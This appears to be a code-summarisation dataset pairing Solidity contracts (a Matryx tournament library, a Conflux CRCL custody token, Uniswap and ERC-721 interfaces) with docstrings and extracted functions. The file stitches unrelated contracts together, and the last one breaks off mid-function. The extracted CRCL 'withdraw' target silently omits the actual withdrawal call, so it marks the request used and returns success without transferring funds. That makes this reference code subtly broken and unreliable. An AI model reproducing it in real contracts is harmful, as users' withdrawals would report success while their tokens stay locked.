MatryxPlatform.Data storage data,
bytes32 sHash
)
public
view
returns (bool)
{
return data.submissions[sHash].tournament != address(0);
}
/// @dev Return total allocated MTX in Platform
/// @param data Platform data struct
/// @return Total allocated MTX in Platform
function getTotalBalance(
address,
address,
MatryxPlatform.Data storage data
)
public
view
returns (uint256)
{
return data.totalBalance;
}
/// @dev Return total number of Tournaments
/// @param data Platform data struct
/// @return Number of Tournaments on Platform
function getTournamentCount(
address,
address,
MatryxPlatform.Data storage data
)
public
view
returns (uint256)
{
return data.allTournaments.length;
}
/// @dev Return all Tournaments addresses
/// @param data Platform data struct
/// @return Array of Tournament addresses
function getTournaments(
address,
address,
MatryxPlatform.Data storage data
)
public
view
returns (address[] memory)
{
return data.allTournaments;
}
/// @dev Returns a Submission by its hash
/// @param data Platform data struct
/// @param submissionHash Submission hash
/// @return The submission details
function getSubmission(
address,
address,
MatryxPlatform.Data storage data,
bytes32 submissionHash
)
external
view
returns (LibTournament.SubmissionData memory)
{
return data.submissions[submissionHash];
}
/// @dev Blacklists or unblacklists a user address
/// @param info Platform info struct
/// @param data Platform data struct
/// @param user User address
/// @param isBlacklisted true to blacklist, false to unblacklist
function setUserBlacklisted(
address,
address sender,
MatryxPlatform.Info storage info,
MatryxPlatform.Data storage data,
address user,
bool isBlacklisted
)
public
{
require(sender == info.owner, "Must be Platform owner");
data.blacklist[user] = isBlacklisted;
}
/// @dev Creates a Tournament
/// @param sender msg.sender to Platform
/// @param info Platform info struct
/// @param data Platform data struct
/// @param tDetails Tournament details (content, bounty, entryFee)
/// @param rDetails Round details (start, end, review, bounty)
/// @return Address of the created Tournament
function createTournament(
address,
address sender,
MatryxPlatform.Info storage info,
MatryxPlatform.Data storage data,
LibTournament.TournamentDetails memory tDetails,
LibTournament.RoundDetails memory rDetails
)
public
returns (address)
{
require(_canUseMatryx(info, data, sender), "Must be allowed to use Matryx");
require(tDetails.bounty > 0, "Tournament bounty must be greater than 0");
require(rDetails.bounty <= tDetails.bounty, "Round bounty cannot exceed Tournament bounty");
uint256 version = IMatryxSystem(info.system).getVersion();
address tAddress = address(new MatryxTournament(version, info.system));
IMatryxSystem(info.system).setContractType(tAddress, uint256(LibSystem.ContractType.Tournament));
data.allTournaments.push(tAddress);
LibTournament.TournamentData storage tournament = data.tournaments[tAddress];
tournament.info.version = version;
tournament.info.owner = sender;
tournament.details = tDetails;
data.totalBalance = data.totalBalance.add(tDetails.bounty);
data.tournamentBalance[tAddress] = tDetails.bounty;
require(IToken(info.token).transferFrom(sender, address(this), tDetails.bounty), "Transfer failed");
LibTournament.createRound(tAddress, address(this), info, data, rDetails);
emit TournamentCreated(tAddress, sender);
emit TournamentBountyAdded(tAddress, sender, tDetails.bounty);
return tAddress;
}
}
|
Return if a Tournament exists data Platform data struct tAddress Tournament address return true if Tournament exists
|
function isTournament(
address,
address,
MatryxPlatform.Data storage data,
address tAddress
)
public
view
returns (bool)
{
return data.tournaments[tAddress].info.owner != address(0);
}
| 12,869,155
|
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
import "./ICRCL.sol";
import "./TimeLock.sol";
import "../ERC777/IWrappedCfx.sol";
import "@openzeppelin/contracts/access/roles/WhitelistAdminRole.sol";
import "@openzeppelin/contracts/access/roles/WhitelistedRole.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts/lifecycle/Pausable.sol";
/* Remix IDE
import "github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/access/roles/WhitelistAdminRole.sol";
import "github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/access/roles/WhitelistedRole.sol";
import "github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/token/ERC20/IERC20.sol";
import "github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/token/ERC777/IERC777Recipient.sol";
import "github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/introspection/IERC1820Registry.sol";
import "github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/lifecycle/Pausable.sol";
*/
import "../ERC777/ITokenBase.sol";
import "./libs/LibEIP712.sol";
import "./libs/LibRequest.sol";
import "../boomflow/libs/LibSignatureValidator.sol";
contract CRCL is ICRCL, WhitelistAdminRole, WhitelistedRole, TimeLock, IERC777Recipient, LibSignatureValidator, LibRequest, Pausable {
using SafeMath for uint256;
string _name;
bool _isCFX;
string _symbol;
uint256 _decimals;
address _tokenAddr;
mapping (address => uint256) private _balances;
uint256 private _totalSupply;
// Mapping of requestHash => timestamp; request hash only shows
// up if it is completed
mapping (bytes32 => uint256) public timestamps;
// Current min timestamp for valid requests
uint256 public timestamp = 0;
//0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24
//0x88887eD889e776bCBe2f0f9932EcFaBcDfCd1820
IERC1820Registry constant private ERC1820_REGISTRY = IERC1820Registry(address(0x88887eD889e776bCBe2f0f9932EcFaBcDfCd1820));
mapping (address => bool) private _accountCheck;
address[] private _accountList;
constructor (string memory name, string memory symbol, uint8 decimals, address tokenAddr, uint256 deferTime, bool isCFX)
TimeLock(deferTime) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_tokenAddr = tokenAddr;
_isCFX = isCFX;
ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function getTokenAddress() public view returns (address) {
return _tokenAddr;
}
function setTokenAddress(address tokenAddr) public onlyWhitelistAdmin returns (bool) {
_tokenAddr = tokenAddr;
return true;
}
function accountTotal() public view returns (uint256) {
return _accountList.length;
}
function accountList(uint256 begin) public view returns (address[100] memory) {
require(begin >= 0 && begin < _accountList.length, "CRCL: accountList out of range");
address[100] memory res;
uint256 range = _min(_accountList.length, begin.add(100));
for (uint256 i = begin; i < range; i++) {
res[i-begin] = _accountList[i];
}
return res;
}
//----------------- Storage Optimization ---------------
function getTimestamp() public view returns (uint256) {
return timestamp;
}
function setTimestamp(uint256 newTimestamp)
public
onlyWhitelistAdmin
{
require(newTimestamp > timestamp, "INVALID_NEW_TIMESTAMP");
timestamp = newTimestamp;
}
function removeObsoleteData(bytes32[] memory hashes)
public
onlyWhitelistAdmin
{
for (uint i = 0; i < hashes.length; i++) {
// Request hash is finished
require(timestamps[hashes[i]] != 0, "INVALID_FINISHED_STATUS");
// Request timestamp is lower than current timestamp
require(timestamps[hashes[i]] < timestamp, "INVALID_TIMESTAMP");
// Remove requst data
removeData(hashes[i]);
}
}
function removeData(bytes32 requestHash) internal {
if (timestamps[requestHash] != 0) delete timestamps[requestHash];
}
//----------------- End Storage Optimization -----------
/**
* Transfer the amount of token from sender to recipient.
* Only WhitelistedRoles (WhitelistAdmin, Boomflow) have the access permission.
* Emits an {Transfer} event indicating the amount transferred.
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public onlyWhitelisted whenNotPaused returns (bool) {
require(sender != address(0), "CRCL: transfer from the zero address");
require(recipient != address(0), "CRCL: transfer to the zero address");
_transfer(sender, recipient, amount);
return true;
}
/**
* Transfer tokens from one sender to a list of recipients according to a list of amounts.
* Only WhitelistAdmin have the access permission.
* Emits an {Transfer} event indicating the amount transferred.
*
* Requirements:
* - `request.userAddress` cannot be zero address.
* - `request.amounts` and `request.recipients` must have the same length.
*/
function transferFor(TransferRequest memory request, bytes memory signature) public onlyWhitelistAdmin whenNotPaused returns (bool) {
require(request.userAddress != address(0), "CRCL: transfer for zero address");
require(request.amounts.length == request.recipients.length, "CRCL: amount length mismatch");
bytes32 requestHash = getTransferRequestHash(request);
require(isValidSignature(requestHash,request.userAddress,signature), "CRCL: INVALID_TRANSFER_SIGNATURE");
// Validate timestamp
require(request.nonce >= timestamp, "CRCL: request expired");
timestamps[requestHash] = request.nonce;
for(uint i = 0; i < request.recipients.length; i++){
_transfer(request.userAddress, request.recipients[i], request.amounts[i]);
}
return true;
}
// Implement ERC777Recipient interface
function tokensReceived(
address,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory
)
public
whenNotPaused
{
require(_msgSender() == _tokenAddr, "CRCL: deposit not authorized");
require(to == address(this), "CRCL: deposit not to CRCL");
// Recover the recipient address
address addr = address(0);
assembly {
addr := mload(add(userData,20))
}
if (addr != address(0)) {
_deposit(from, addr, amount);
}
}
/**
* Withdraw the amount of token from sender's CRCL to recipient's ERC777 asset.
* Only WhitelistAdmin (DEX) have the access permission.
* The function will atomically perform the following operations:
*
* 1. Validate the user signature
* 2. Burn `request.amount` of CRCL token from `request.userAddress`
* 3. Transfer equal amount of ERC777 token from the contract address to `request.recipient`
*
* The ERC777 token emits a {Transfer} event indicating the amount transferred.
* The CRCL token emits a {Withdraw} event indicating the amount withdrawn.
*
* Requirements:
* - The request hash has to be unique.
* - The `request.isCrosschain` is False.
*/
function withdraw(WithdrawRequest memory request, bytes memory signature) public onlyWhitelistAdmin whenNotPaused returns (bool) {
// Validate the user signature
bytes32 requestHash = getRequestHash(request);
require(isValidSignature(requestHash,request.userAddress,signature), "INVALID_WITHDRAW_SIGNATURE");
// Validate timestamp
require(request.nonce >= timestamp, "CRCL: request expired");
timestamps[requestHash] = request.nonce;
// unless for DEX-CFX in which case isCrosschain == true will
// withdraw directly to CFX instead of WCFX.
require(!request.burn || _isCFX, "CRCL: should call withdrawCrossChain");
// Special handling to withdraw WCFX => CFX
if (request.burn) {
// Burn the `request.amount` of WCFX from the current CRCL address, and receive CFX
IWrappedCfx(_tokenAddr).burn(request.amount, abi.encodePacked(request.recipient));
// Burn the `request.amount` of CRCL from the `request.userAddress`
require(_burn(request.userAddress, request.amount), "CRCL: withdraw amount exceeds CRCL balance");
return true;
}
// Withdraw the `request.amount` of CRCL
require(_withdraw(request.userAddress, request.recipient, request.amount), "CRCL: withdraw error");
return true;
}
/**
* Withdraw the amount of token from sender's CRCL to recipient's crosschain asset.
* Only WhitelistAdmin (DEX) have the access permission.
* The function will atomically perform the following operations:
*
* 1. Validate the user signature
* 2. Burn `request.amount` of CRCL token from `request.userAddress`
* 3. Burn equal amount of ERC777 token from the contract address
*
* Note that For the full-fledged crosschain withdraw, we are depending
* on Custodian counterparts to perform the actual crosschain operations
*
* The ERC777 token emits a {Burned} event indicating the amount withdrawn.
* The CRCL token emits a {Transfer} to null address event indicating the amount withdrawn.
*
* Requirements:
* - The request hash has to be unique.
* - The `request.isCrosschain` is True.
*/
function withdrawCrossChain(WithdrawCrossChainRequest memory request, bytes memory signature) public onlyWhitelistAdmin whenNotPaused returns (bool) {
// Validate the user signature
bytes32 requestHash = getWithdrawCrossChainRequestHash(request);
require(isValidSignature(requestHash,request.userAddress,signature), "INVALID_WITHDRAW_SIGNATURE");
// Validate timestamp
require(request.nonce >= timestamp, "CRCL: request expired");
timestamps[requestHash] = request.nonce;
// Burn the `request.amount` of ERC777 from the current CRCL address
ITokenBase(_tokenAddr).burn(request.userAddress, request.amount, request.fee, request.recipient, request.defiRelayer);
// Burn the `request.amount` of CRCL from the `request.userAddress`
require(_burn(request.userAddress, request.amount), "CRCL: withdraw amount exceeds CRCL balance");
return true;
}
/**
* Request for a force withdraw of all sender's CRCL token.
* The function acknowledges the request and records the request time.
*
* Emits a {ScheduleWithdraw} event indicating the withdraw has been scheduled.
*/
function requestForceWithdraw() public returns (bool) {
setScheduleTime(_msgSender(), block.timestamp);
return true;
}
/**
* Force withdraw all msg.sender's CRCL token to recipient's ERC20 token.
* The function acknowledges the request and records the request time.
*
* Emits a {Withdraw} event indicating the amount withdrawn.
*/
function forceWithdraw(address recipient) public withdrawRequested pastTimeLock returns (bool) {
require(_withdraw(_msgSender(), recipient, _balances[_msgSender()]), "CRCL: force withdraw error");
setScheduleTime(_msgSender(), 0);
return true;
}
/**
* Pause the majority of functionalities of CRCL.
* Only WhitelistAdmin (DEX) have the access permission.
*
* Note that `requestForceWithdraw` and `forceWithdraw` is not subject to pause
*/
function Pause()
public
onlyWhitelistAdmin
{
pause();
}
/**
* Resume all paused functionalities of Boomflow.
* Only WhitelistAdmin (DEX) have the access permission.
*/
function Resume()
public
onlyWhitelistAdmin
{
unpause();
}
//Helper Functions
function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) {
if (!_accountCheck[recipient]) {
_accountCheck[recipient] = true;
_accountList.push(recipient);
}
_balances[sender] = _balances[sender].sub(amount, "CRCL: transfer amount exceeds locked balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "CRCL: mint to the zero address");
if (!_accountCheck[account]) {
_accountCheck[account] = true;
_accountList.push(account);
}
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal returns (bool) {
require(account != address(0), "CRCL: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "CRCL: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
return true;
}
function _deposit(address sender, address recipient, uint256 amount) internal {
require(recipient != address(0), "CRCL: deposit to the zero address");
require(sender != address(this), "CRCL: deposit from the CRCL address");
_mint(recipient, amount);
emit Deposit(sender, recipient, amount);
}
function _withdraw(address sender, address recipient, uint256 amount) internal returns (bool) {
require(_burn(sender, amount), "CRCL: withdraw amount exceeds CRCL balance");
IERC20(_tokenAddr).transfer(recipient, amount);
emit Withdraw(sender, recipient, amount);
return true;
}
function _min(uint256 value1, uint256 value2) internal pure returns (uint256) {
if (value1 > value2) {
return value2;
}
return value1;
}
}
|
Withdraw the amount of token from sender's CRCL to recipient's ERC777 asset. Only WhitelistAdmin (DEX) have the access permission. The function will atomically perform the following operations: 1. Validate the user signature 2. Burn `request.amount` of CRCL token from `request.userAddress` 3. Transfer equal amount of ERC777 token from the contract address to `request.recipient` The ERC777 token emits a {Transfer} event indicating the amount transferred. The CRCL token emits a {Withdraw} event indicating the amount withdrawn. Requirements: - The request hash has to be unique. - The `request.isCrosschain` is False./ Validate the user signature Validate timestamp unless for DEX-CFX in which case isCrosschain == true will withdraw directly to CFX instead of WCFX. Special handling to withdraw WCFX => CFX Burn the `request.amount` of WCFX from the current CRCL address, and receive CFX Burn the `request.amount` of CRCL from the `request.userAddress`
|
function withdraw(WithdrawRequest memory request, bytes memory signature) public onlyWhitelistAdmin whenNotPaused returns (bool) {
bytes32 requestHash = getRequestHash(request);
require(isValidSignature(requestHash,request.userAddress,signature), "INVALID_WITHDRAW_SIGNATURE");
require(request.nonce >= timestamp, "CRCL: request expired");
timestamps[requestHash] = request.nonce;
require(!request.burn || _isCFX, "CRCL: should call withdrawCrossChain");
if (request.burn) {
IWrappedCfx(_tokenAddr).burn(request.amount, abi.encodePacked(request.recipient));
require(_burn(request.userAddress, request.amount), "CRCL: withdraw amount exceeds CRCL balance");
return true;
}
return true;
}
| 12,608,646
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface ERC20 {
function decimals() external view returns(uint);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface ERC20RewardToken is ERC20 {
function mint_rewards(uint256 qty, address receiver) external;
function burn_tokens(uint256 qty, address burned) external;
}
contract protected {
mapping(address => bool) is_auth;
function is_it_auth(address addy) public view returns (bool) {
return is_auth[addy];
}
function set_is_auth(address addy, bool booly) public onlyAuth {
is_auth[addy] = booly;
}
modifier onlyAuth() {
require(is_auth[msg.sender] || msg.sender == owner, "not owner");
_;
}
address owner;
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
bool locked;
modifier safe() {
require(!locked, "reentrant");
locked = true;
_;
locked = false;
}
}
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface ERC721 /* is ERC165 */ {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) external payable;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external payable;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapRouter01 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapRouter02 is IUniswapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract smart {
address router_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
IUniswapRouter02 router = IUniswapRouter02(router_address);
uint kaiBalance;
uint meishuBalance;
uint kaiTax = 1; // 1%
uint meishuFee = 100000000000000000; // 0,1 ETH
function create_weth_pair(address token) private returns (address, IUniswapV2Pair) {
address pair_address = IUniswapFactory(router.factory()).createPair(token, router.WETH());
